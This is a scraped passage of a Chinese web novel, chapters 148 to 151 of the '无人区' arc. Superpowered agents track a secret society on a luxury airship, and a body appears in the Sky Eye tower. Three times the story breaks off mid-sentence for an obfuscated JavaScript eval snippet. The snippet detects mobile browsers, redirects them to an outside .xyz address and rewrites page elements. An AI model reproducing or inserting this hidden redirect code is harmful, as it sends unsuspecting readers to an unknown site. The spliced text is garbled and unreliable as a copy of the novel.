简初刚刚踏出两步，就转头露出有些腼腆的微笑：“能请这位一起吗，我房间内的灯之前有些闪烁，本来不打算麻烦你们，但正巧遇上……” “当然可以，女士。”另一名工作人员立刻礼貌地跟了上来，“为客人排忧解难是我们的荣幸。” 简初：…… 她本来以为还要费些许口舌，没想到有钱人的世界这么好说话。 身后的机房内，隋辩拔下亮起灯的外接盘，却并没有急着离开。很快，手机微微振动，显示着简初发来的短讯。 [你在哪？] 看到这条短信，隋辩便知道外头很安全，他心下顿时安定，两步穿过墙壁，打算询问简初刚刚的对话声是什么情况。 可眼前的走道已经空无一人。 148. 无人区（50） “女士，房间里的电路并没有问题，之所以闪烁应该是由于当时飞艇正在升空，引起震荡导致短暂的接触不良。” 简初正在确认附近人员的行动轨迹，闻言礼貌微笑：“那太好了，就是麻烦你们了。” “都是我们应该做的，有什么问题可以用房间内的呼唤铃，上面也有联系电话，您可以保存一下，如果有问题我们都会第一时间赶到。” 要是所有的客人都这么好说话就好了。 年轻的工作人员这样想着，打开了身后的房门，下一秒，一个迎面而来的拳头正中他的鼻子。 “唔！”他捂住鼻子弯下腰，酸痛让人涕泗横流，但万幸的是没有出血。 隋辩仍然保持着敲门的姿势，一脸茫然：“这是……怎么了？” 虽然力道不重，但侮辱性极强。 “咳咳！”简初赶紧咳嗽两声，开口却是让隋辩更加茫然。 “你现在又来做什么！刚刚自己一个人离开，就不要再出现了！” 捂着鼻子的工作人员眼前眼前一片模糊，但耳朵已经精明地竖起。 有瓜可吃！ 突然被三人注视，隋辩下意识后退两步，迅速反应过来情况，脸上露出尴尬：“抱歉，我这不是……” “你别说了！”简初直接打断了他，“我想一个人静一静，有什么事晚上再说吧……麻烦你们了。” 最后一句对工作人员轻声细语，让他们连连摆手，两人用不算隐晦的不满眼神剜了隋辩两眼，才结伴离开。 走之前还不忘当着隋辩的面直接关上了房门。 隋辩：…… 不是，他们有病吧？ 直到两人的背影消失，他才咂咂嘴，重新推开还未上锁的房门，简初坐在正对面的沙发上，正翘着二郎腿，一手支着脸，另一只手正飞快划动手机。 隋辩感觉这辈子的坑都在这栽完了。 “把门关好。” 她还使唤我！ 隋辩愤恨地用力关上了门。 此刻距离晚宴还有两个小时，简单交流过刚刚的情况，确认信号已经顺利侵入，与此同时，马瑞安那边也传来成功的消息，算是开启了双保险，现在就差地面指挥部给予确认回复。 “奇怪，他们应该一直盯着啊，怎么还没回信。”隋辩皱着眉，在蓝湾总队里面倒不会有危险，但就怕计划出什么意外。 简初翻看手机里的新闻，上面已经有“古今神迹”展览首日情况的通稿，既然能顺利发出来，就说明至少明面上并没有出什么事。 当然了，出点小意外也可以粉饰太平。 “滴滴——” 正在这时，两人的手机不约而同收到了消息，隋辩看到发信人就露出了轻松的笑容：“看来他们已经收到信号了，之后就是……” 他突然噤声，下意识抬头看向对面皱起眉头的简初。 天空之眼……竟然真的有情况。 …… 同一时间，蓝湾总队。 “就是这里。” 面前的监控画面里刚刚出现半边肩膀，应术就按下暂停键，画面中正是这正是接到电话之后，前往西南角查看情况的路玺。 易骄三人仍然驻扎在酒店，剩下的人都在这里目不转睛盯着有些模糊的监控，应术贴心调到慢速，才点下播放。 画面中，与路玺相对的走廊那头突然走出一个西装革履的中年人，尽管不甚清晰，但众人还是看出来这就是本次展览的主办人盛余海。 他其实已经年近六十，但财富的滋养让他看起来要比实际更加年轻。盛余海此时正拿着一张纸擦拭双手，看到路玺他好像有点惊讶，但什么都没说，只是客气点了个头，双方就此交错，消失在画面里。 “开什么玩笑……”路玺靠上椅背喃喃自语，脸上写满了不解。 应术再次将监控调到二十分钟之前，也就是盛余海进入洗手间的时候：“这是他来时的画面，周围的监控里除了他没拍到其他人，但不能排除监控死角的问题。” 路玺摇摇头，两只手模仿监控中的人互相摩擦了两下：“我很确定当时见到的是一名女性，她比盛余海至少矮一个头，体型完全不一样，我不可能会记错。” “但我觉得很奇怪，他们擦手的动作好像……是一样的？” 这种细节此时几乎很难清楚地回忆起来。 “是监控画面出了问题，还是路玺看到的人出了问题？”宋也直起身子，提出两个不同的可能性。 “不好说，当时没想到人会出问题。”路玺相当懊恼，“要通知飞艇那边的人回来吗？” 应术沉默不语，又将监控看了两遍。 另一边的孔越适时开口：“这段视频我已经发到总部，麻烦技术部门解析了。” 见其他人看过来，他有些不太适应地清清嗓：“上面拍我来就是协调这些事情的，不过现在能联系上马组长他们了吗？” 应术的平光眼镜反射着头顶的白炽灯光，让人看不清她的眼神：“我刚刚给他们发消息了，但现在还不能回来，情况没有完全确定，他们下来了可就难回头了。” 她的话得到了全场的默认。 “易骄他们过去了吗？看看有没有残留的异能。”应术又问。 其实她更倾向于是监控画面出了问题，毕竟如果是现场使用了异能，天空之眼的监控肯定会受到干扰。 不如说，监控必定被做了手脚，但现场却不能确定。 “他们准备利用温南的异能从顶楼下去。” 天空之眼的顶层其实是一片巨大的天台，它仿佛是这只眼睛的瞳仁，小小一块缩在中央。这里全部都是错落的金属支撑，围栏高度足够，确保不会意外坠落。 通向顶楼的门常年都是锁着的，但对于易阳是小菜一碟，他可以轻易解析锁芯的内部结构，用一根发卡打开沉重的锁链。 高处的风烈得很，温南每次开口说话就要灌一嘴，到最后只能安静抿着唇，跟着来到围栏边缘。 这里几乎是蓝湾的最高处，但下层的天空之眼遮挡了下方的视线，只能从远处的天际线感受它的高度。 “这个高度可以直接跳下去。”易骄抻着脑袋往下看了一眼，用相当平静的语气说出了让温南瞪大眼睛的话。 这……真的可以直接跳下去吗？ 易骄伸手挡住风，眯着眼朝天空之眼的边缘看去：“目的地就是那里吧，温南，可以在那里直接开空洞吗？” “啊！嗯，可以的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642853|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温南估算了一下距离，用力点头。 自己一直在他们的帮助下熟悉异能，现在已经可以自如使用了。 “那行，我先过去，其他等我联系。”易骄把耳机固定好，以防不慎甩开，紧接着手腕一撑，利落地翻越围栏。 温南看见她松手，立马头皮一紧，飞扑过去就只看到易骄的身影稳稳落地，直直往尽头跑去。 “这最多两层楼的高度，没问题的。”易阳抬头看过去，“她快到了。” 温南的双眼紧紧盯着远处的目标，在那个小身影向她挥手时，深吸一口气发动了异能。 …… “抱歉。” 带着口罩的年轻人侧过身，躲开迎面而来的男人，对方挺着个大肚子直愣愣往前，仿佛要扫清走廊上的所有“障碍”。 “走路看着点！”男人五官都皱在一起，在那张大脸上显得有些局促，他刚要发脾气，下一秒却意识到自己此时身在何处，左右看看发现没人注意他，才满脸不耐烦地挥挥手，“晦气，别让我再遇到你。” 年轻人站在原地，沉默地看着男人消失在视线中，他眼底闪过一丝压抑的暗光，片刻之后才扭过头，走向自己的房间。 尽管只是临时的落脚点，但对于幽灵来说也是新奇的体验，他仔细地打量房间内的布局，又伸手摸了摸宽大柔软的床垫，脑海里迅速闪过另一个房子内的画面，却又在下一秒被他强行驱散。 自己已经根据要求登上飞艇，但没有下一步的行动目标，这让幽灵有些茫然。 他现在该做些什么？ 自己大概是被惯坏了，以前明明很习惯这样的日子，只不过是这几天有了被准许的去处，就开始讨厌现在的生活。 “你好像不太高兴？”脑海里突然响起熟悉的声音，一瞬间幽灵的心里竟然浮起些许不痛快，这也是以前从未有过的。 “我在想待会要做什么。”他还是用以前那副语调回应对方，“我已经在飞艇上了。” 那人笑了两声：“暂时没你什么事，就是我有点无聊。” 他的声音里带着显而易见的恶意，对于他来说，幽灵不过是召之即来挥之即去的工具。 “异能署有人来了，你先别和其他人接触，免得暴露。”脑海里的声音突然变得阴冷，好像是为了应和这样的情绪，幽灵的大脑传来一阵阵刺痛，“具体的信息还没搞到，那群人也是够小心的。” “有需要我会再找你的，你老实点，别像前两天……哼。” “呃！”幽灵猛然抓住头发，如同被重锤敲击的疼痛传来，眼前的画面变得模糊，但胸口却有什么在燃烧，叫嚣着让那人也尝尝这样的痛苦。 从未有过的感觉，却似乎缓解了他的疼痛。 不知过了多久，幽灵终于挣扎着从地上起身，仰头靠在沙发腿上，伸手擦掉快要滴落的鼻血。 头顶突然响起温柔的音乐声。 “各位来宾，今夜的晚宴即将开始，卡维纳宫殿邀请诸位彻夜狂欢，宴会厅将提供长达8小时的演出，此外，不限量的美食酒水全天候供应，欢迎……” 许久，音乐声终于停止，幽灵听见门外陆续响起客人们的脚步声和欢笑，但他此时没有多余的力气动弹。 好累。 149. 无人区（51） 衣香鬓影，觥筹交错。 仅仅从宴会厅的布局，根本看不出众人正身处高空的飞艇中，明明是来自五湖四海的人，此时却仿佛早就相识，举着高脚杯相谈甚欢，另一边的佳肴却少有人问津。 隋辩对于这些摆盘精致的菜肴敬谢不敏，他刚刚尝了一口，味道倒是不错，但对他来说还不如白海的小吃夜市。 两人正坐在大厅厅的角落里。宴会刚刚开始，除去了繁冗的开场白，中央的乐团正在演奏悠扬和缓的乐曲，给客人们留下交际的空间。 远处的顾杰羽朝她遥遥举杯，简初扬起手里的叉子以示回应。 “你还真一点不紧张。”虽然这么说，但隋辩自己的动作看上去也相当轻松，他嚼着一片水灵灵的罗马生菜，嘴角却向下撇，“这不就是生菜，甚至还有点苦。” “加再多的前缀也改变不了本质。”简初喝了口高脚杯里的矿泉水，“就是这个味道。” “什么味道？”隋辩不解。 “两块钱的味道。”简初端庄地用纸擦了擦嘴角并不存在的油渍，看得对面的人满头黑线。 “我到其他地方看看，有事情打电话。” 扔下这句话，勉强吃饱喝足的简初悠悠然离开了宴会大厅，从这侧的门出来，再上一层台阶，眼前就是开阔的观景平台。 卡维纳宫殿的航行速度非常温和，几乎感受不到脚下的晃动，迎面而来也是舒畅的晚风，只是偶尔会把人的发丝吹乱。 地面的光路如同蛛网一般，仔细点甚至还能看到有车在路上行驶。 玻璃围栏几乎到人胸口的高度，每走几步就会有一名值岗的安保人员，如果发生任何意外，都能保证第一时间接管现场。 这是真正意义上的第一时间。 观景平台上差不多都是两两依偎的伴侣或密友，以年轻面孔居多，他们对这种风景格外青睐，不时还会掏出手机来记录。 简初混入其中，并不显眼。她举着手机看似拍摄风景，其实把周围的人都拉进了取景框。现在暂时还看不出其中的特殊性，以防之后需要核对信息，留个底总归是有好处的。 身后，宴会大厅的音乐突然变得欢快起来。 夜间的演出快开始了。 与此同时，位于卡维纳宫殿的某个平平无奇的房间——之所以平平无奇，是因为它和其他房间混在一起，门上也有着按顺序编排的门牌号。 但它的内部却是其他房间的两倍，乃至三倍大。 装修豪华却不显土气，每一个角落都是用的最顶级的家具和工艺，就连矿泉水瓶都是镶钻的。 长榻上侧卧着一名女性，她看上去三十出头，面容姣好，穿着富有光泽的丝质长裙，勾勒出曼妙的身姿。斜飞的眼角让她看人的时候带了些不屑。 她提着一小串洗得水灵灵的葡萄，直接放在嘴边叼下一颗，表皮的紫红色染上她的嘴唇。 “这串比较新鲜。” 但她看上去兴致缺缺，将这串葡萄扔在地上，旁边立马有人上前收拾。 对面沙发上倚靠着一个差不多岁数的男性，看上去人模人样，胸口的领结一丝不苟。 “那个，你叫什么名字来着？”他伸手招了招站在旁边的男人，对方浑身一抖，刚想开口却又被打断，“算了，就叫你小王吧。” 男人不敢拒绝，哪怕他并不姓王。 “这点出息，比不上之前那个小帅哥。”女人懒洋洋开口，好像突然有了点兴致，“你把人藏哪儿了，就之前集会见过一次，之后怎么都见不着呢？” “物尽其用罢了。”西装男意味不明地笑了一声，“你别给我找麻烦啊。” “哪敢给你找麻烦，更何况你手底下那群人长得……”女人摇摇头，眼珠子一转试探道，“他参加这次的活动吗，人在这儿？” “有这闲情逸致，不如想想怎么处理掉那几个苍蝇。”西装男不想继续和她纠缠这个话题，“这次异能署介入太早了，如果不是那位有指示，我都怀疑是内部出了问题。” 蓝湾的计划可谓是天衣无缝，他们花了不少时间在这边发展新的下线，就是为了逃脱异能署的视线，这次的集会意义重大，不容有失。 但万万没想到的是，原本的牵头人不声不响死了，甚至死之前连消息都没递出来，虽说有部分原因肯定是那个蠢货想瞒着上头，独自把隐患处理掉，但他好歹接受过一次“浸染”，竟然就这么死了。 “杀吴起的人没找到？”女人问。 “没有，异能署那边也没消息。”西装男表情难看，“这巴掌甩我们脸上了。” 周围的人都深深低下头，“小王”更是抖如糠筛。 女人用纤细的手指点点下巴，思索道：“之前那位发布的悬赏呢，有人出手吗？” 在悬赏奖励的诱惑之下，他们并不能完全算是同伴，互相既要防着其他人动手，又要偷偷瞒着其他人，试图将胜利的果实收入囊中。 “你派人去了吗？”女人状似无意问道，“我可是听说有人去了，结果失败了呢。” “最后的牵头人可是你，问我这种问题，确定不是此地无银三百两？”西装男冷笑一声。 “哎呀，我忘了，悬赏被撤销了。”女人夸张地捂住嘴唇，“我可没有去找她哦，想来应该是那位发现我的才能了吧。” “你的才能不需要发现，有人下手比你毒吗？” “那位显然是借机试探异能署，结果也如他所料，异能署已经在蓝湾布控，他们知道的或许比我们预想中更多。”西装男见对方不再接话，又重新把对话拉回了正轨。 “那我挺期待的，希望他们能把动静搞大点，这样我就不会心软了。”女人瞥了眼一旁已经快站不住的“小王”，发出有些张扬的笑声，“你看看，你的小玩具要吓坏了。” 西装男顺势瞥去一眼，男人立刻哀嚎着倒在地上，下一秒旁边就有人拿起桌上的餐布，团成一团塞进了他的嘴里。 呜咽声消失不见，但地上的男人却不停用头撞击桌腿，就算见血也没有停止。 “小玩具要坏掉了呀，玩具商先生。”女人挥挥手，身边立刻有人上前摁住了地上涕泗横流的家伙。 西装男瞥她一眼：“不要用那么恶心的强调喊我，砒霜小姐。” “没用的东西。” 随着话音落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14666948|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，地上的男人白眼一翻，直接晕死过去。 玩具商站起身，两手握住衣襟抖了抖并不存在的灰尘：“我也出去玩玩，作为本次的牵头人，就请你继续辛苦了。” 房门重新合上，女人的视线沉了下来，她坐起身，用脚踢了踢地上的男人，厌烦地挥挥手：“糟心，把他送到玩具商的房间里。” “这……”两名属下面面相觑。 女人呵斥道：“还不赶紧去！” 房间内重新恢复安静，她深吸一口气，抚了抚柔顺的长发，重新躺回了长榻上。 时间还早呢，让他们再多玩会吧。 正道与反派的游戏，玩了这么多年，怎么就不腻呢？ …… 蓝湾总队。 众人左等右等，终于等来了易骄那边的结果。 “怎么样？” “现场没有发现异能残留的痕迹，除此之外，周围也已经被保洁打扫过，所以……很干净。” 意料之中的结果，但又让人莫名失望。 叮嘱易骄注意安全，应术才挂断通讯，思索良久看向孔越：“孔监督，麻烦你问问总部那边的解析结果出来了没有。” “啊？哦！好的！”孔越似乎在走神，突然被点名一时没反应过来，这下连忙拿起手机，指了指门外，“我去给他们打个电话。” 宋也眼看着大门合上，才满脸不解地问道：“这人是哪儿来的，怎么感觉不太熟悉工作，而且打电话给总部这种事，有必要避开我们吗？” “之前没听过这号人，不过只要他不添乱，就当多养了一张嘴，等任务结束就不用打交道了。”应术伸手揉了揉有些酸痛的肩膀。 宋也看在眼里，从一旁的桌肚里掏出一根木头锤子：“喏，锤两下会好点。” 应术失笑：“你们这装备还挺齐全。” “上班上的。”宋也翻了个白眼，语气充满怨念。 “孔越大约是上头派来的眼线。”应术锤了两下，突然开口，“你们在蓝湾搞得动静太大，而且上次……你知道的，上头认为你们瞒报信息，所以派了个二五仔来监视。” 路玺无语地笑了一声：“上次？是请你帮忙的那次？” 应术微微颔首：“关于F的信息你们提供的太少，而且吴起的系列案件悬而未决，新官上任三把火，这把火就烧到你们头上了。” “那姑娘看着很好说话，其实……”宋也咬了咬手指，“跟你装糊涂、打太极，明显是想借着我们的手打听消息，其实我也没想到她会提供这么重要的线索，毕竟我们给的那些……” “她不了解，所以对她来说是有价值的。”应术摇头，“信息的价值很难完全对等，我们不清楚她的状况，也许缺的东西在我们看来并不算什么。” 说完，她自己都笑了。 “原来如此，你们只是被线索砸到了头上，当然提供不了更详细的信息。” 门外想起脚步声，她们不约而同结束了这场对话。 孔越匆匆推门而入，他做什么事看上去好像都是着急忙慌的，这还没落座，就先开了口。 “他们说监控被替换了。” 150. 无人区（52） “喂？怎么了？”简初接起不断振动的手机，眼神却依旧在周围逡巡。 从宴会厅往外，客人越来越少，但也有人为了求清静，来到只有舷窗的走廊。 电话那头还能听到宴会厅的音乐声。 “没事，就是提醒你不要自己走太远。” 简初含糊应了一句：“对了，看见他俩去哪儿了吗？” 她离开观景台时，正巧看见马瑞安和顾杰羽一前一后，往两个不同的方向离开。 “和你一样，让我好好看着宴会厅。”隋辩的声音里充满了怨念，“这里这么多人，肯定不会在这搞事的。” 但也正因为有太多人，所以他们必须有人留下盯着。 “我知道了，有情况联系。”简初听出来这人的怨气，当即无情挂断了电话。 “喂？喂？！”隋辩满脸不可置信地看向手机，“这也太过分了！” 简初撇撇嘴，重新将手机揣回兜里，根据脑中的飞艇地图，脚下一转便往A区的方向走去，从这里开始走廊里的人明显就少了，附近的客房里暂时也没传来什么动静，想来大多数人应该都去参加晚宴了。 “抱歉，我下次会注意的。” 说话声和房门打开的声音一起响起，简初脚下一顿，顺势拐进面前一条相通的走廊里。 她耳朵竖起安静倾听，但很可惜，直到房门再次关上那人都没有再开口，同样也没有人对他之前的那句话予以回应。 那人刚刚的声音带着明显的颤抖，听上去很像是被为难的工作人员。 等等，这是？ 简初眯眯眼，鼻尖微动，嗅到了空气中淡淡的血腥味。 动手了？ 走廊的人猛然深吸一口气，发出深埋于胸腔的颤抖的痛呼，脚步声在柔软的地毯上被弱化到有些沉闷，逐渐往另一个方向远去。 简初若无其事地抬脚，装作调整并没有任何问题的鞋子，紧接着毫不犹豫跟了上去。她的步伐很有力，但离奇的是却没有在地毯上发出任何声音。 前头的身影还在，她可以清晰地看到对方身上西装面料的暗纹，显然并不是工作服的质地，而他走起路来虽然脚步虚浮，却也看不出来具体受伤的位置。 脑海中的小红点在走廊尽头拐了个弯，进入了拐角第一间客房，屋内没有其他人，但和飞艇的操作室离得非常近。 尽管意识扫描可以看见周围物体的结构，但并不能穿透墙壁看到内部的场景。简初犹豫着要不要在附近等他出来，但理智还是让她打消了这个想法。 那间客房附近几乎都是工作人员的区域，几乎完全算是一条死路，要是不巧遇到人，可能会引起不必要的麻烦。 与此同时，顾杰羽已经将整个C区检查了一遍。 她眉头紧蹙，手里正捏着一个形如怀表的工具，另一只手左右拨弄着它，似乎正在修理，而表盘内的指针也正在到处乱转，没有任何要停下来的意思。 看上去正在苦恼于如何修理这个小东西。 顾杰羽已经很多年没有见到它了，在过往很多年耳朵工作中，这都是她必不可少的随身道具。 集会的每次举办流程都不尽相同，但无一例外其中必定有“浸染”的程序，但他们要进行“浸染”，也有必不可少的道具，尽管异能署尚不清楚那道具究竟是什么，但部分异能者的能力却能感应到它，顾杰羽就是其中之一。 当然，这并不是她能力的主要用途。 顾杰羽其实很清楚，总部的那群人一直知道她在蓝湾，之前不过是相安无事，而现在蓝湾成为可能的集会举办地，他们也知道自己不会坐视不管。 数年来，天选会一直以白海作为根据地，在那里势力极速扩张，短短几年就成长为极具威胁的庞然大物。 哪怕只是一个普通人聚集而成的组织，这样的行动力也属实可怕，更别提这是一群相当不安分的异能者，白海的异能者除了异能署的人，其他几乎都在天选会，游离在外的寥寥无几。 威逼加利诱，这就是天选会的手段，没有新意，但当威胁和利益足够大，它就会一直有用。 但白海之外对他们来说，完全就是未曾踏足的区域，也许这次在蓝湾就是一次势力外扩的试探。 尽管已经离开异能署很久，但顾杰羽很清楚现在的白海有多么危险，正常人眼中的世界依旧平静，最多就是暴力事件发生有些频繁，可实际上到处都已经千疮百孔，一组也不过是凭着一口气苦苦支撑。 大脑中传来刺痛，顾杰羽叹了一口气，白着脸在C区的尽头合上了怀表。 “你脸色不太好。” 身后传来询问声，顾杰羽头皮一麻，下一秒意识到是同伴才放松了下来。 她只是微微摇了摇头，一方面表示自己没有大碍，另一方面则是示意C区没有问题。 “D区也正常，我是说，没见到可疑的人。”马瑞安并没有顾杰羽那样的能力，话说出口才又找补了一句。 “要是以前就好了。”顾杰羽感叹了一句，“那会可不用这么麻烦。” 异能最巅峰的时候，顾杰羽大概可以直接检查完三分之一艘飞艇，而不是像现在这样，需要自己走遍每个角落。 马瑞安努力想挤出一个安抚的笑容，但他不常做这样的表情，所以看上去反而有些奇怪：“我现在也不如年轻的时候了，不过那些崽子还小，总得给他们多点时间。” “他们俩呢？” 两人不约而同没有谈及应术的消息，那些字眼太敏感，不适宜在公共场所谈论。 时间已经来到后半夜，探查工作告一段落，两人结伴前往宴会厅，这一路上人越来越多，大多还是一副神采飞扬的模样，倒让他们也精神了不少。 宴会厅传来的音乐声有些吵闹，和刚刚完全不是一个画风，两个中年人不约而同拧紧眉头，看上去很不适应这样的节奏。 “小隋应该还在大厅里。”马瑞安四处看了看，“在那儿呢，看上去不太高兴。” “简初呢？还没回来？” 顾杰羽忍不住有些担心，尽管马瑞安跟她说了F的情况，但小姑娘看上去挺文气，也没什么战斗力，虽然有股子聪明劲，但在这种危险的地方光聪明可没什么用。 “这会应该不会出什么事。”马瑞安掏出了兜里的手机，“我让小隋去找找， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710719|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们就先待在这吧。” 两边目前没有一同行动，还是暂且保持距离为好。 不过十来秒，原本一脸郁郁的隋辩看了眼手机，立马挑挑眉毛换了副表情，迅速离开了。 天知道，他在这待得快要长蘑菇了。 [你在哪儿呢？] 隋辩在手机上摁得啪啪直响，下一秒就感觉有人拍了拍他的肩膀，吓得他连手机都没拿稳，在空中炒成一盘菜，最后被始作俑者接在了手中。 “演杂技呢？”简初眨眨眼，将手机递了过去。 隋辩嘴角下撇，脸上的慌张还没完全褪去，看到身后的罪魁祸首，立马怒气冲冲夺过了自己的手机，珍惜地打量着。 “这可是今年的最新款，摔了怎么办！” 简初无辜摊手：“我也没想到你反应这么大啊。” “你要去哪？”隋辩凝视了她两秒，在简初回答之前一把薅过她的胳膊，往观景台的方向而去，“不要回宴会厅，那里好吵。” 简初往后仰：“啊～可是我好渴，想喝果汁。” “我去给你拿！等着！” 简初看着隋辩气冲冲跑回去，脸上还是那副得逞的表情，但视线已经瞟向观景台外的角落，那里是宴会大厅的另一个侧门，不过此时并没有人从那里经过。 “看什么呢，给你果汁。”隋辩自己吸溜着，又将另一瓶递过来。 简初接过果汁，象征性地打开了盖子，在隋辩即将发飙的前一秒凑近了些许：“不要动，后面有人看着呢。” 这下即将炸毛的猫强行缩回了爪子，低头又嗦了嗦果汁。 “在哪儿，长什么样？”他低声问道，音乐几乎盖过他所有的声音，隋辩自己都快听不清了。 简初勾了勾唇角：“不知道，没看见。” 隋辩：…… 再信这人他就是小狗。 “他很敏锐，我只勉强看到了一个衣角，光线太昏暗了。” 来自宴会厅内时明时暗、五光十色的灯光让隋辩闭上了嘴。 “过去看看？”他咬起了吸管，跟之前相比乖巧多了。 简初微微摇摇头：“不会留下什么痕迹的，贸然跑过去，反而会暴露。” 何况对方未必就是天选会的眼线，也许只是飞艇上的例行巡视，他们最好的选择就是按兵不动。 手中的玻璃瓶上已经凝出一层细密的水雾，隋辩有些心神不宁地搓了搓杯壁，嗦了口才发现里头已经空了。他从胸腔呼出一口气，将瓶子放在一旁的小桌上，立刻就有工作人员过来将其收走。 “也不知道下面进展如何。”隋辩翻出手机，翻来覆去却没有发送消息，目前飞艇上并没有什么确凿的可疑情况，就这么随便说些什么反倒会影响决策。 尽管天空之眼已经出现了异常，但隋辩心里还是觉得不得劲。 也许是第六感的暗示，此刻的卡维纳宫殿虽然富丽堂皇，却更像一道披着漂亮外衣的菜肴，不到吃下去的那一刻，都不知道它究竟会是什么味道。 简初手搁在围栏上，托着腮帮子吸溜着果汁。 如果是声东击西，那哪边才是“西”呢？ 151. 无人区（53） 晨曦破开云层，照亮了天空之眼的塔顶。 易阳打着哈欠，推了推用被子蒙住头的人：“该换班了，让我睡会。” 尽管展览的时间在下午，但监控画面中已经陆续出现人影，有工作人员检查清点展出的艺术品，另外安保和保洁也回到了各自的岗位上。 “你赶紧睡吧。”易骄揉了揉脑袋，洗把脸清醒了不少，才坐到监控面前，“路玺那边有什么新消息吗？” “暂时没有。”易阳嘟嘟囔囔，钻进了被子，尽管没有人喊温南，但她还是睁着惺忪睡眼起床，拖着椅子坐在了易骄旁边。 “你们要不要吃点早饭，我点个外卖。”她问。 易阳已经没有回答了，易骄点点头：“打电话让前台送餐吧。” “哦，差点忘了这个。”温南记下桌上的号码，出门打电话去了。 室内重新恢复安静，易骄听着耳机里窸窸窣窣的忙碌声，不断在各个监控点位之间来回切换。 “嗯？” 她用力点了几点手里的鼠标，但画面仍然卡在某一帧的黑屏上。 “哪个点位这么卡？”易骄喃喃自语，随手缩小了监控屏幕，但下一秒，入眼大片的黑暗让她大脑停顿了一秒。 信号断了？ 易骄迅速拿起旁边的手机，但电话还没有拨出去，监控里的画面就出现了变化。 不同的红色线条出现在每一个小方格中，在电脑屏幕组成了一个巨大的微笑表情，紧接着表情消失，出现了一个像素礼品盒，它跳跃着，从礼花中弹出一串英文字母。 “Suprise！” 什么东西？ 从中间开始录像的手机突然疯狂振动，易骄迅速接通，那头传来路玺沉重的话语声。 "天空之眼出命案了。" "什……什么？"易骄怀疑自己的耳朵出了问题，她下意识看向已经变黑的电脑，似乎是回应她的疑惑，电脑屏幕闪了闪，监控重新恢复正常。 一大波人往同一个方向涌去，易骄跟随着他们的方向按动鼠标，最终来到了一个熟悉的地方。 西南角的洗手间。 洗手间里没有监控，但画面里能看到两个有些激动的保洁，以及维持秩序的安保人员。 电话那头，路玺迅速解释情况：“蓝湾总队接到了报警电话，我们会和他们一起赶过去，你们三个不要轻举妄动，呆在房间里等我通知……不，待会你下来跟我们汇合。” “好……”易骄知道他的言下之意，“等等路玺，我在监控里收到了奇怪的东西，马上发给你。” “奇怪的东西？”路玺很是疑惑，“好，你发来。” 易骄挂断电话，一边将刚刚拍摄的视频发送出去，一边赶紧把刚睡下的易阳喊起来：“快起来，出事了。” “又怎么了？”易阳带着沉重的睡意囫囵开口，“刚刚就听见你跟谁打电话，谁啊？” “天空之眼出事了，有人死了。”易骄的紧盯着电脑屏幕。 易阳脑子一个激灵，鲤鱼打挺坐起身，和刚刚回到房间的温南一左一右凑到了屏幕前。 “我们昨天晚上不是去过这里吗？”温南小心开口，眼神下意识看向表情凝重的易骄，“易骄姐，当时里面……” “当时里面什么都没有，我很确定。”易骄摇头，她知道温南并不是怀疑她，但当下的场景确实难以用常理来解释。 尸体怎么可能凭空出现在洗手间里？ 围观人员被安保陆续劝退，聚集在会场外热烈地讨论着。 “你看到里面了吗？”有人小声问道。 第一现场是被两个保洁发现的。 “我没看见啊，听见他喊了一声，我就被他推出来了。”一个年长的保洁员摇摇头，眼神看向身边稍年轻一些的男人。 “看到是谁吗？”有人继续八卦。 年轻保洁摇摇头：“没有，我看见有人趴在地上，还有血，就吓得跑出来了。” 本来天空之眼的保洁工资就很高，再加上这次展览期间每天都有八百块的额外奖金，他们都觉得是个好差事，还想着展览要是能多办几天就好了，现在看来怕是没有后续了。 见问不出什么东西，其他人只能悻悻和自己相熟的小团体继续八卦，不过话题已经偏到没边了。 “昨天下班检查的时候可是没人的，晚上谁还会跑到这儿来啊？”年长保洁小声问，他并没有想得到答案，单纯是表达疑惑。 年轻保洁摇摇头：“这种事儿我们还是别讨论了，死掉的那个……我看穿得不错，估计是个大人物。” 年长保洁闻言，摇摇头也沉默了下去。 没多久，拉响的警笛来到了天空之眼楼下，张国栋带着队里的工作人员，以及宋也等人来到了现场。 “蓝湾总队张国栋，请问案发现场在？” “张警官您好。”负责迎接他们的是前台的一个年轻女性，看样子吓得不轻，但还是保持职业素养，努力和他交谈，“我带您们过去，就在后面。” 路玺和宋也穿着临时借来的制服混入其中，而易骄更是在尽力减轻自己的存在感。 “你们几个，先跟我进去。” 颜和疑惑地看着跟张国栋进去的几个人，除了法医外，好像都不是队里的人。 “小颜啊，你带几个人去问问目击者的情况，还有这边的工作人员，先做个简单的笔录。” “诶，好的。” 